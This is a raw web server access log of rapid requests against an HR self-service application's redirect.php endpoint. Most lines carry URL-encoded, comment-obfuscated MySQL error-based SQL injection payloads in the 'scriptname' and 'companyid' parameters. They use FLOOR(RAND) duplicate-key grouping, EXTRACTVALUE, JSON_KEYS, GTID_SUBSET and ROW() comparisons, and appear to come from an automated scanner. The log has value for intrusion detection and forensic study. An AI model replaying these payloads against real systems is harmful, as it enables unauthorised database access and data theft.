100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x31524950%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a6d3541%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F30Nt&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4741306e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48776a63%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FnAyI&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b64444f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66754754%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FjGic&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x744f4467%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e434c6c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FFbpa&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x744f4467%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e434c6c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FFbpa&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x70795a35%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44474441%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fg04N&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x70795a35%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44474441%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fg04N&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f505356%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4c5177%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FG9AM&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f505356%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4c5177%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FG9AM&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x68387a77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x526b696a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FxQjw&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x68387a77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x526b696a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FxQjw&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c306236%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344c7a30%29%29%2C1%29--%2F%2A%2A%2FpHPJ&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x73563433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x454a5567%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FgXgo&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x73563433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x454a5567%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FgXgo&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x574d6842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42793152%29%2C6420%29--%2F%2A%2A%2FUKkl&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x574d6842%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42793152%29%2C6420%29--%2F%2A%2A%2FUKkl&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6e4e4451%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f574362%29%29%2C1%29--%2F%2A%2A%2FZoU5&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65586c69%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e344750%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fh1km&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65586c69%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e344750%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fh1km&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f736e59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38584468%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FQrCA&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f736e59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38584468%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FQrCA&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x504a7430%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75766c41%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKUvs%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x31524950%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a6d3541%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F30Nt&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x744f4467%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e434c6c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FFbpa&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:00 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x70795a35%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44474441%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fg04N&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4f505356%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4c5177%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FG9AM&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x68387a77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x526b696a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FxQjw&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x73563433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x454a5567%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FgXgo&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
